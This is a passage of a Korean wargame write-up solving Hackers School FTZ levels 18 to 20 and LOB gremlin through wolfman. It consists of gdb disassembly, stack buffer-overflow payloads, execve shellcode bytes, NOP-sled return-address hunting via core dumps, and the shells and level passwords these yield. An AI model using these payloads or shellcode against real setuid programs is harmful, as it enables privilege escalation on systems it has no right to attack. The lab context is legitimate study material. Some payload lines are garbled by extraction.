add esp,0xc 0x080486f1 <main+417>: mov edi,dword PTR [ebp-108] 0x080486f4 <main+420>: mov DWORD PTR [ebp-252],edi 0x080486fa <main+426>: cmp DWORD PTR [ebp-252],0xa 0x08048701 <main+433>: je 0x8048722 <main+466> 0x08048703 <main+435>: cmp DWORD PTR [ebp-252],0xa 0x0804870a <main+442>: jg 0x8048717 <main+455> 0x0804870c <main+444>: cmp DWORD PTR [ebp-252],0x8 0x08048713 <main+451>: je 0x8048731 <main+481>

0x08048715 <main+453>: jmp 0x8048743 <main+499> 0x08048717 <main+455>: cmp DWORD PTR [ebp-252],0xd 0x0804871e <main+462>: je 0x8048722 <main+466> 0x08048720 <main+464>: jmp 0x8048743 <main+499> 0x08048722 <main+466>: push 0x8048831 0x08048727 <main+471>: call 0x8048470 <printf> 0x0804872c <main+476>: add esp,0x4 ---Type <return> to continue, or q <return> to quit--- 0x0804872f <main+479>: jmp 0x8048770 <main+544> 0x08048731 <main+481>: dec DWORD PTR [ebp-112] 0x08048734 <main+484>: push 0x8048833 0x08048739 <main+489>: call 0x8048470 <printf> 0x0804873e <main+494>: add esp,0x4 0x08048741 <main+497>: jmp 0x8048770 <main+544> 0x08048743 <main+499>: lea eax,[ebp-100] 0x08048746 <main+502>: mov DWORD PTR [ebp-252],eax 0x0804874c <main+508>: mov edx,dword PTR [ebp-112] 0x0804874f <main+511>: mov cl,byte PTR [ebp-108] 0x08048752 <main+514>: mov BYTE PTR [ebp-253],cl 0x08048758 <main+520>: mov al,byte PTR [ebp-253] 0x0804875e <main+526>: mov ecx,dword PTR [ebp-252] 0x08048764 <main+532>: mov BYTE PTR [edx+ecx],al 0x08048767 <main+535>: inc DWORD PTR [ebp-112] 0x0804876a <main+538>: jmp 0x8048770 <main+544> 0x0804876c <main+540>: lea esi,[esi*1] 0x08048770 <main+544>: jmp 0x8048591 <main+65> 0x08048775 <main+549>: lea esp,[ebp-268] 0x0804877b <main+555>: pop ebx 0x0804877c <main+556>: pop esi 0x0804877d <main+557>: pop edi 0x0804877e <main+558>: leave 0x0804877f <main+559>: ret End of assembler dump. 코드가긴만큼어셈코드도굉장히길다. 하지만우리에게필요한것은 string의시작, check의시작, shellout() 함수의시작부분이다. 우선우리가필요한코드만잘라보겠다. 0x0804855b <main+11>: push ebx 0x0804855c <main+12>: mov DWORD PTR [ebp-108],0x0 0x08048563 <main+19>: mov DWORD PTR [ebp-112],0x0 0x0804856a <main+26>: push 0x8048800

ebp-108 부분과 ebp-112 부분을 0 으로초기화시키고있다. c 코드와비교해 서보면 ebp-108 는 x 이고,ebp-112 는 count 라는것을알수있다. 0x080485a3 <main+83>: call 0x8048470 <printf> 0x080485a8 <main+88>: add esp,0x4 0x080485ab <main+91>: cmp DWORD PTR [ebp-104],0xdeadbeef 0x080485b2 <main+98>: jne 0x80485c0 <main+112> 0x080485b4 <main+100>: call 0x8048780 <shellout> deadbeef에서비교하는 main+91 부분에서 check가 ebp-104부분이라는것을알았다. 0x08048743 <main+499>: lea eax,[ebp-100] 0x08048746 <main+502>: mov DWORD PTR [ebp-252],eax 0x0804874c <main+508>: mov edx,dword PTR [ebp-112] 0x0804874f <main+511>: mov cl,byte PTR [ebp-108] 0x08048752 <main+514>: mov BYTE PTR [ebp-253],cl 0x08048758 <main+520>: mov al,byte PTR [ebp-253] 0x0804875e <main+526>: mov ecx,dword PTR [ebp-252] 0x08048764 <main+532>: mov BYTE PTR [edx+ecx],al 0x08048767 <main+535>: inc DWORD PTR [ebp-112] 0x0804876a <main+538>: jmp 0x8048770 <main+544> switch문안에있는 default문이다. 여기서 string이 ebp-100에위치한다는것을알았다. eax에 string을넣고, string을다시 ebp-252부분에넣는다. 그다음 count를 edx에넣고, x를 cl에넣는다. 현재 eax와 ebp-252 부분에는 string이, edx에는 count가, cl에는 x가들어가있다. 그다음 cl을 ebp-253에넣고다시 ebp-253을 al에넣는다. 다음 ebp-252를 ecx에넣는다. 그럼현재 eax와 ebp-252,ecx 부분에는 string이, edx에는 count가, cl, ebp-253, al에는 x가들어가있다. main+532 부분에서 string의 count 번째수에 x를넣어준다. 어셈블리어에서배열에값를넣을때는어셈명령어 mov를쓰고넣는값의크기에따라 1byte면 BYTE PTR, 2byte면 WRORD PTR,4byte면 DWORD PTR라고쓴다. 그다음 [ 넣는번째 + 배열이름 ], 넣는값형식으로쓴다. 여태까지수집한정보를정리하면 string : ebp-100, count : ebp-112, x : ebp-108,

check : ebp-104 string 에입력을받을때 count 를 4 줄이고그부분에 deadbeef 를넣으면되 겠다. \x08 * 4 + shellout() 함수의시작주소 공격을해보겠다. [level18@ftz level18]$ (python -c "print '\x08'*4+'\xef\xbe\xad\xde'";cat)./attackme Enter your command: id uid=3099(level19) gid=3098(level18) groups=3098(level18) my-pass Level19 Password is "swimming in pink". FTZ LEVEL19 main() { char buf[20]; gets(buf); printf("%s\n",buf); 코드가굉장히간단하다. 하지만그전까지는 c코드에서권한상승을 setreuid를해주었다. 하지만이코드에는권한상승이없다. 여태까지사용했던쉘코드는단순히 /bin/sh 명령어를실행시켜주는것이였으므로 setreuid+/bin/sh 를해주는쉘코드를사용하겠다. 사용한쉘코드는이것이다. \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2 f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 이쉘코드를환경변수에올린다음주소로 ret 를덮겠다. 환경변수를등록해주소를아는과정은생략하겠다. 앞에나온 level 의과 정을따라하면된다.

gdb 를이용해분석해보면 (gdb) disas main Dump of assembler code for function main: 0x08048440 <main+0>: push ebp 0x08048441 <main+1>: mov ebp,esp 0x08048443 <main+3>: sub esp,0x28 0x08048446 <main+6>: sub esp,0xc 0x08048449 <main+9>: lea eax,[ebp-40] 0x0804844c <main+12>: push eax 0x0804844d <main+13>: call 0x80482f4 <gets> 0x08048452 <main+18>: add esp,0x10 0x08048455 <main+21>: sub esp,0x8 0x08048458 <main+24>: lea eax,[ebp-40] 0x0804845b <main+27>: push eax 0x0804845c <main+28>: push 0x80484d8 0x08048461 <main+33>: call 0x8048324 <printf> 0x08048466 <main+38>: add esp,0x10 0x08048469 <main+41>: leave 0x0804846a <main+42>: ret 0x0804846b <main+43>: nop 0x0804846c <main+44>: nop 0x0804846d <main+45>: nop 0x0804846e <main+46>: nop 0x0804846f <main+47>: nop End of assembler dump. buf 의위치가 ebp-40 이라는것을알았다. 쓰레기값 44 + 환경변수 EGG 의주소 공격을해보면 [level19@ftz level19]$ (python -c "print 'A'*44+'\x2d\xfc\xff\xbf'";cat)./attackme AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-? my-pass TERM environment variable not set. Level20 Password is "we are just regular guys".

FTZ LEVEL20 #include <stdio.h> main(int argc,char **argv) { char bleh[80]; setreuid(3101,3101); fgets(bleh,79,stdin); printf(bleh); bleh의크기가 80인데 fgets를이용해서 79만큼을입력받는다. 따라서 bof 공격은아니라는것을알았다. 이번문제는포맷스트링버그를이용한공격인것같다. printf() 함수를특별한서식문자를사용하지않고출력을하고있다. LOB (gate -> gremlin) /* */ The Lord of the BOF : The Fellowship of the BOF - gremlin - simple BOF int main(int argc, char *argv[]) { char buffer[256]; if(argc < 2){ printf("argv error\n"); exit(0); strcpy(buffer, argv[1]); printf("%s\n", buffer); 전형적인 BOF 문제이다. main함수의인자가 2개이하면프로그램이종료된다. 환경변수에쉘코드를넣은후 buffer와 sfp를덮고환경변수의주소로 ret를덮겠다. 환경변수를넣는것은많이했으므로따로설명하지는않겠다. 위에있다. [gate@localhost gate]$ /tmp/ge EGG

EGG = 0xbffffe45 gdb를이용해서분석을해보겠다. lob는 gdb를이용해서분석을못하므로 tmp디렉토리를만들어그곳에서분석을하겠다. (gdb) disas main Dump of assembler code for function main: 0x8048430 <main>: push %ebp 0x8048431 <main+1>: mov %ebp,%esp 0x8048433 <main+3>: sub %esp,0x100 0x8048439 <main+9>: cmp DWORD PTR [%ebp+8],1 0x804843d <main+13>: jg 0x8048456 <main+38> 0x804843f <main+15>: push 0x80484e0 0x8048444 <main+20>: call 0x8048350 <printf> 0x8048449 <main+25>: add %esp,4 0x804844c <main+28>: push 0 0x804844e <main+30>: call 0x8048360 <exit> 0x8048453 <main+35>: add %esp,4 0x8048456 <main+38>: mov %eax,dword PTR [%ebp+12] 0x8048459 <main+41>: add %eax,4 0x804845c <main+44>: mov %edx,dword PTR [%eax] 0x804845e <main+46>: push %edx 0x804845f <main+47>: lea %eax,[%ebp-256] 0x8048465 <main+53>: push %eax 0x8048466 <main+54>: call 0x8048370 <strcpy> 0x804846b <main+59>: add %esp,8 0x804846e <main+62>: lea %eax,[%ebp-256] 0x8048474 <main+68>: push %eax 0x8048475 <main+69>: push 0x80484ec 0x804847a <main+74>: call 0x8048350 <printf> 0x804847f <main+79>: add %esp,8 0x8048482 <main+82>: leave 0x8048483 <main+83>: ret 0x8048484 <main+84>: nop 0x8048485 <main+85>: nop 0x8048486 <main+86>: nop 0x8048487 <main+87>: nop 0x8048488 <main+88>: nop 0x8048489 <main+89>: nop

0x804848a <main+90>: nop 0x804848b <main+91>: nop 0x804848c <main+92>: nop 0x804848d <main+93>: nop 0x804848e <main+94>: nop ---Type <return> to continue, or q <return> to quit--- 0x804848f <main+95>: nop End of assembler dump. buffer의위치가 ebp-256이라는것을알았다. buffer와 sfp를덮고, ret부분에환경변수의주소를쓰겠다. 쓰레기값 260 + 환경변수의주소공격을해보면 [gate@localhost tmp]$./gremlin `python -c "print '\x90'*260+'\x45\xfe\xff\xbf'"` Eþÿ bash$ 쉘이따지는것을확인했다. 그럼이것을본파일로가서하면 [gate@localhost gate]$./gremlin `python -c "print '\x90'*260+'\x45\xfe\xff\xbf'"` Eþÿ bash$ my-pass euid = 501 hello bof world LOB (gremlin ->cobolt) /* The Lord of the BOF : The Fellowship of the BOF - cobolt - small buffer */ int main(int argc, char *argv[]) { char buffer[16]; if(argc < 2){ printf("argv error\n"); exit(0);

strcpy(buffer, argv[1]); printf("%s\n", buffer); 1번문제와동일하지만 buffer의크기가작아졌다. 하지만우리는환경변수를이용하기때문에버퍼의크기는아무지장을주지않는다. 환경변수의주소를알아보겠다. [gremlin@localhost gremlin]$ /tmp/ge EGG EGG = 0xbffffedb 복사해서 gdb 로분석해보겠다. (gdb) disas main Dump of assembler code for function main: 0x8048430 <main>: push %ebp 0x8048431 <main+1>: mov %ebp,%esp 0x8048433 <main+3>: sub %esp,16 0x8048436 <main+6>: cmp DWORD PTR [%ebp+8],1 0x804843a <main+10>: jg 0x8048453 <main+35> 0x804843c <main+12>: push 0x80484d0 0x8048441 <main+17>: call 0x8048350 <printf> 0x8048446 <main+22>: add %esp,4 0x8048449 <main+25>: push 0 0x804844b <main+27>: call 0x8048360 <exit> 0x8048450 <main+32>: add %esp,4 0x8048453 <main+35>: mov %eax,dword PTR [%ebp+12] 0x8048456 <main+38>: add %eax,4 0x8048459 <main+41>: mov %edx,dword PTR [%eax] 0x804845b <main+43>: push %edx 0x804845c <main+44>: lea %eax,[%ebp-16] 0x804845f <main+47>: push %eax 0x8048460 <main+48>: call 0x8048370 <strcpy> 0x8048465 <main+53>: add %esp,8 0x8048468 <main+56>: lea %eax,[%ebp-16] 0x804846b <main+59>: push %eax 0x804846c <main+60>: push 0x80484dc 0x8048471 <main+65>: call 0x8048350 <printf> 0x8048476 <main+70>: add %esp,8 0x8048479 <main+73>: leave 0x804847a <main+74>: ret

0x804847b <main+75>: nop 0x804847c <main+76>: nop 0x804847d <main+77>: nop 0x804847e <main+78>: nop 0x804847f <main+79>: nop End of assembler dump. buffer 의시작이 ebp-16 이라는것을알았다. 쓰레기값 20 + 환경변수주소공격을하면 [gremlin@localhost tmp]$./cobolt `python -c "print 'A'*20+'\xdb\xfe\xff\xbf'"` AAAAAAAAAAAAAAAAAAAA ÿ bash$ 원본파일에서동일하게공격하면 [gremlin@localhost gremlin]$./cobolt `python -c "print 'A'*20+'\xdb\xfe\xff\xbf'"` AAAAAAAAAAAAAAAAAAAA ÿ bash$ my-pass euid = 502 hacking exposed LOB (cobolt -> goblin) /* */ The Lord of the BOF : The Fellowship of the BOF - goblin - small buffer + stdin int main() { char buffer[16]; gets(buffer); printf("%s\n", buffer); cobolt문제와비슷하지만이번에는입력을받는함수가 gets() 함수이다. FTZ에서연습했듯이 gets() 함수는함수로사용자의입력을받는함수이다. 따라서 pipe를이용한익스플로잇을해야한다,

이번문제도환경변수를이용하겠다. [cobolt@localhost cobolt]$ /tmp/ge EGG EGG = 0xbffffedd 복사해서 gdb 로분석해보면 (gdb) disas main Dump of assembler code for function main: 0x80483f8 <main>: push %ebp 0x80483f9 <main+1>: mov %ebp,%esp 0x80483fb <main+3>: sub %esp,16 0x80483fe <main+6>: lea %eax,[%ebp-16] 0x8048401 <main+9>: push %eax 0x8048402 <main+10>: call 0x804830c <gets> 0x8048407 <main+15>: add %esp,4 0x804840a <main+18>: lea %eax,[%ebp-16] 0x804840d <main+21>: push %eax 0x804840e <main+22>: push 0x8048470 0x8048413 <main+27>: call 0x804833c <printf> 0x8048418 <main+32>: add %esp,8 0x804841b <main+35>: leave 0x804841c <main+36>: ret 0x804841d <main+37>: nop 0x804841e <main+38>: nop 0x804841f <main+39>: nop End of assembler dump. buffer 가 ebp-16 에위치한다는것을알았다. 쓰레기값 20 + 환경변수의주소공격을해보면 [cobolt@localhost tmp]$ (python -c "print 'A'*20+'\xdd\xfe\xff\xbf'";cat)./goblin AAAAAAAAAAAAAAAAAAAAÿ id uid=502(cobolt) gid=502(cobolt) groups=502(cobolt) 원본파일을공격하면 [cobolt@localhost cobolt]$ (python -c "print 'A'*20+'\xdd\xfe\xff\xbf'";cat)./goblin

AAAAAAAAAAAAAAAAAAAAÿ my-pass euid = 503 hackers proof LOB (goblin -> orc) /* */ The Lord of the BOF : The Fellowship of the BOF - orc - egghunter #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') { printf("stack is still your friend.\n"); exit(0); strcpy(buffer, argv[1]); printf("%s\n", buffer);

egghunter 부분에서환경변수를 memset() 함수로 0 으로초기화시킨다. 우리 에게는쉘코드를넣을수있는공간이환경변수말고도여러가지있다. 그 중하나인 argv[2] 부분에넣어보겠다. 복사를한후 gdb 로분석해보겠다. (gdb) disas main Dump of assembler code for function main: 0x8048500 <main>: push %ebp 0x8048501 <main+1>: mov %ebp,%esp 0x8048503 <main+3>: sub %esp,44 0x8048506 <main+6>: cmp DWORD PTR [%ebp+8],1 0x804850a <main+10>: jg 0x8048523 <main+35> 0x804850c <main+12>: push 0x8048630 0x8048511 <main+17>: call 0x8048410 <printf> 0x8048516 <main+22>: add %esp,4 0x8048519 <main+25>: push 0 0x804851b <main+27>: call 0x8048420 <exit> 0x8048520 <main+32>: add %esp,4 0x8048523 <main+35>: nop 0x8048524 <main+36>: mov DWORD PTR [%ebp-44],0x0 0x804852b <main+43>: nop 0x804852c <main+44>: lea %esi,[%esi*1] 0x8048530 <main+48>: mov %eax,dword PTR [%ebp-44] 0x8048533 <main+51>: lea %edx,[%eax*4] 0x804853a <main+58>: mov %eax,%ds:0x8049750 0x804853f <main+63>: cmp DWORD PTR [%eax+%edx],0 0x8048543 <main+67>: jne 0x8048547 <main+71> 0x8048545 <main+69>: jmp 0x8048587 <main+135> 0x8048547 <main+71>: mov %eax,dword PTR [%ebp-44] 0x804854a <main+74>: lea %edx,[%eax*4] 0x8048551 <main+81>: mov %eax,%ds:0x8049750 0x8048556 <main+86>: mov %edx,dword PTR [%eax+%edx] 0x8048559 <main+89>: push %edx 0x804855a <main+90>: call 0x80483f0 <strlen> 0x804855f <main+95>: add %esp,4 0x8048562 <main+98>: mov %eax,%eax 0x8048564 <main+100>: push %eax 0x8048565 <main+101>: push 0 0x8048567 <main+103>: mov %eax,dword PTR [%ebp-44]

0x804856a <main+106>: lea %edx,[%eax*4] 0x8048571 <main+113>: mov %eax,%ds:0x8049750 0x8048576 <main+118>: mov %edx,dword PTR [%eax+%edx] 0x8048579 <main+121>: push %edx 0x804857a <main+122>: call 0x8048430 <memset> ---Type <return> to continue, or q <return> to quit--- 0x804857f <main+127>: add %esp,12 0x8048582 <main+130>: inc DWORD PTR [%ebp-44] 0x8048585 <main+133>: jmp 0x8048530 <main+48> 0x8048587 <main+135>: mov %eax,dword PTR [%ebp+12] 0x804858a <main+138>: add %eax,4 0x804858d <main+141>: mov %edx,dword PTR [%eax] 0x804858f <main+143>: add %edx,47 0x8048592 <main+146>: cmp BYTE PTR [%edx],0xbf 0x8048595 <main+149>: je 0x80485b0 <main+176> 0x8048597 <main+151>: push 0x804863c 0x804859c <main+156>: call 0x8048410 <printf> 0x80485a1 <main+161>: add %esp,4 0x80485a4 <main+164>: push 0 0x80485a6 <main+166>: call 0x8048420 <exit> 0x80485ab <main+171>: add %esp,4 0x80485ae <main+174>: mov %esi,%esi 0x80485b0 <main+176>: mov %eax,dword PTR [%ebp+12] 0x80485b3 <main+179>: add %eax,4 0x80485b6 <main+182>: mov %edx,dword PTR [%eax] 0x80485b8 <main+184>: push %edx 0x80485b9 <main+185>: lea %eax,[%ebp-40] 0x80485bc <main+188>: push %eax 0x80485bd <main+189>: call 0x8048440 <strcpy> 0x80485c2 <main+194>: add %esp,8 0x80485c5 <main+197>: lea %eax,[%ebp-40] 0x80485c8 <main+200>: push %eax 0x80485c9 <main+201>: push 0x8048659 0x80485ce <main+206>: call 0x8048410 <printf> 0x80485d3 <main+211>: add %esp,8 0x80485d6 <main+214>: leave 0x80485d7 <main+215>: ret 0x80485d8 <main+216>: nop 0x80485d9 <main+217>: nop 0x80485da <main+218>: nop

0x80485db <main+219>: nop 0x80485dc <main+220>: nop 0x80485dd <main+221>: nop 0x80485de <main+222>: nop ---Type <return> to continue, or q <return> to quit--- 0x80485df <main+223>: nop End of assembler dump. main+185 부분을통해 buffer가 ebp-40이라는것을알았다. 그럼 argv[2] 를 nop로덮고그뒤에쉘코드를넣은후 ret을 nop의한지점으로설정해주겠다. (gdb) b * main+194 Breakpoint 1 at 0x80485c2 (gdb) r `python -c "print '\xbf'*48"` `python -c "print '\x90'*100"` Starting program: /home/goblin/tmp/orc `python -c "print '\xbf'*48"` `python -c "print '\x90'*100"` Breakpoint 1, 0x80485c2 in main () (gdb) x/100x $esp...( 생략 )... 0xbffffbc4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffbd4: 0x00000000 0x00000000 0x00000000 0x38366900 0xbffffbe4: 0x682f0036 0x2f656d6f 0x6c626f67 0x742f6e69 0xbffffbf4: 0x6f2f706d 0xbf006372 0xbfbfbfbf 0xbfbfbfbf 0xbffffc04: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbffffc14: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbffffc24: 0xbfbfbfbf 0x00bfbfbf 0x90909090 0x90909090 0xbffffc34: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc44: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc54: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc64: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc74: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc84: 0x90909090 0x90909090 0x90909090 0x00000000 0xbffffc94: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffca4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcb4: 0x00000000 0x00000000 0x00000000 0x00000000...( 생략 )... nop의주소를알았다. ret가 nop을가리키도록변조하면되겠다. 넉넉히 0xbffffc44로잡겠다.

쓰레기값 44 + 0xbffffc44 + nop * 100 + shellcode 공격을하면 [goblin@localhost tmp]$./orc `python -c "print 'A'*44+'\x44\xfc\xff\xbf'"` `python -c "print '\x90'*100+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\ x89\xe1\x31\xd2\xb0\x0b\xcd\x80'"` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD Segmentation fault (core dumped) 좀더정확하게 core 파일을분석하겠다. [goblin@localhost tmp]$ gdb -c core GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux". Core was generated by `./orc AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD'. Program terminated with signal 11, Segmentation fault. #0 0xbffffc4d in?? () (gdb) x/100x $esp...( 생략 )... 0xbffffb70: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffb80: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffb90: 0x00000000 0x00000000 0x38366900 0x2f2e0036 0xbffffba0: 0x0063726f 0x41414141 0x41414141 0x41414141 0xbffffbb0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffbc0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffbd0: 0xbffffc44 0x90909000 0x90909090 0x90909090 0xbffffbe0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffbf0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc00: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc10: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc20: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc30: 0x90909090 0x90909090 0x50c03190 0x732f2f68 0xbffffc40: 0x622f6868 0xe3896e69 0xe1895350 0x0bb0d231...( 생략 )... 음 0xbffffbf0 로 ret 를덮어야겠다. [goblin@localhost tmp]$./orc `python -c "print 'A'*44+'\xf0\xfb\xff\xbf'"`

`python -c "print '\x90'*100+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\ x89\xe1\x31\xd2\xb0\x0b\xcd\x80'"` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA bash$ 굳복사를해서똑같이하면 [goblin@localhost goblin]$./orc `python -c "print 'A'*44+'\xf0\xfb\xff\xbf'"` `python -c "print '\x90'*100+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\ x89\xe1\x31\xd2\xb0\x0b\xcd\x80'"` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA bash$ id uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin) bash$ my-pass euid = 504 cantata core 파일을분석하면 segmentation error가발생했을때의시점에프로그램에기록된작업메모리를즉 esp와 ebp등여러레지스터상황을볼수있다. LOB /* */ (orc -> wolfman) The Lord of the BOF : The Fellowship of the BOF - wolfman - egghunter + buffer hunter #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0);

// egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') { printf("stack is still your friend.\n"); exit(0); strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); buffer를 0으로초기화시킨다. 응안써하지만우리는 argv[2] 를사용해서풀것이기때문에크게상관없다. 이번에는아예좀더정확한분석을위해 core파일을일부러생성해풀어보겠다. 이제부터는디렉토리생성후복사하는과정은생략해도알아서하시길바란다. (gdb)disas main... 생략... 0x80485ab <main+171>: add %esp,4 0x80485ae <main+174>: mov %esi,%esi 0x80485b0 <main+176>: mov %eax,dword PTR [%ebp+12] 0x80485b3 <main+179>: add %eax,4 0x80485b6 <main+182>: mov %edx,dword PTR [%eax] 0x80485b8 <main+184>: push %edx ---Type <return> to continue, or q <return> to quit--- 0x80485b9 <main+185>: lea %eax,[%ebp-40] 0x80485bc <main+188>: push %eax 0x80485bd <main+189>: call 0x8048440 <strcpy>... 생략... buffer가 ebp-40에위치한다는것을알았다. core파일을생성해보면 [orc@localhost tmp]$ ulimit -c unlimited [orc@localhost tmp]$./wolfman `python -c 'print "\xbf"*48'` `python -c "print

'\x90'*100"` Segmentation fault (core dumped) ulimit c unlimited 는 core 파일을생성해주는명령어이다. core 파일을분석해보면 [orc@localhost tmp]$ gdb -c core GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux". Core was generated by `./wolfman '. Program terminated with signal 11, Segmentation fault. #0 0xbfbfbfbf in?? () (gdb) x/50x $esp 0xbffffe38: 0x000001f8 0x0000000c 0x000001f8 0x0000000d 0xbffffe48: 0x000001f8 0x0000000e 0x000001f8 0x00000010 0xbffffe58: 0x0fabfbff 0x0000000f 0xbffffe86 0x00000000 0xbffffe68: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe78: 0x00000000 0x00000000 0x00000000 0x36690000 0xbffffe88: 0x2e003638 0x6c6f772f 0x6e616d66 0xbfbfbf00 0xbffffe98: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbffffea8: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbffffeb8: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0x909000bf 0xbffffec8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffed8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffee8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffef8: 0x90909090 0x90909090 0xbffffec8로 ret를덮겠다. 쓰레기값 44 + 0xbffffec8 + nop * 100 + shellcode [orc@localhost tmp]$./wolfman `python c print A *44+ \xc8\xfe\xff\xbf ` `python c print \x90 *100+ \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x

53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 ` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAɾÿ Segmentation fault (core dumped) 세상은호락호락하지않다. core 파일을분석해보겠다. [orc@localhost tmp]$ gdb -c core GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux". Core was generated by `./wolfman AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAɾÿ '. Program terminated with signal 11, Segmentation fault. #0 0xbffffed1 in?? () (gdb) x/50x $esp 0xbffffdb8: 0x00000009 0x08048450 0x0000000b 0x000001f8 0xbffffdc8: 0x0000000c 0x000001f8 0x0000000d 0x000001f8 0xbffffdd8: 0x0000000e 0x000001f8 0x00000010 0x0fabfbff 0xbffffde8: 0x0000000f 0xbffffe19 0x00000000 0x00000000 0xbffffdf8: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe08: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe18: 0x38366900 0x2f2e0036 0x666c6f77 0x006e616d 0xbffffe28: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffe38: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffe48: 0x41414141 0x41414141 0x41414141 0xbffffec8 0xbffffe58: 0x90909000 0x90909090 0x90909090 0x90909090 0xbffffe68: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffe78: 0x90909090 0x90909090 0xbffffe78 로 ret 를덮겠다. [orc@localhost tmp]$./wolfman `python -c "print 'A'*44+'\x78\xfe\xff\xbf'"` `python -c "print '\x90'*100+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\ x 8 9 \ x e 1 \ x 3 1 \ x d 2 \ x b 0 \ x 0 b \ x c d \ x 8 0 ' " ` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxþÿ bash$ 쉘을획득! 똑같이해보면 [orc@localhost orc]$./wolfman `python -c "print 'A'*44+'\x78\xfe\xff\xbf'"`

`python -c "print '\x90'*100+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\ x 8 9 \ x e 1 \ x 3 1 \ x d 2 \ x b 0 \ x 0 b \ x c d \ x 8 0 ' " ` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxþÿ bash$ id uid=504(orc) gid=504(orc) euid=505(wolfman) egid=505(wolfman) groups=504(orc) bash$ my-pass euid = 505 love eyuna LOB (wolfman -> darkelf) /* */ The Lord of the BOF : The Fellowship of the BOF - darkelf - egghunter + buffer hunter + check length of argv[1] #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') { printf("stack is still your friend.\n"); exit(0);

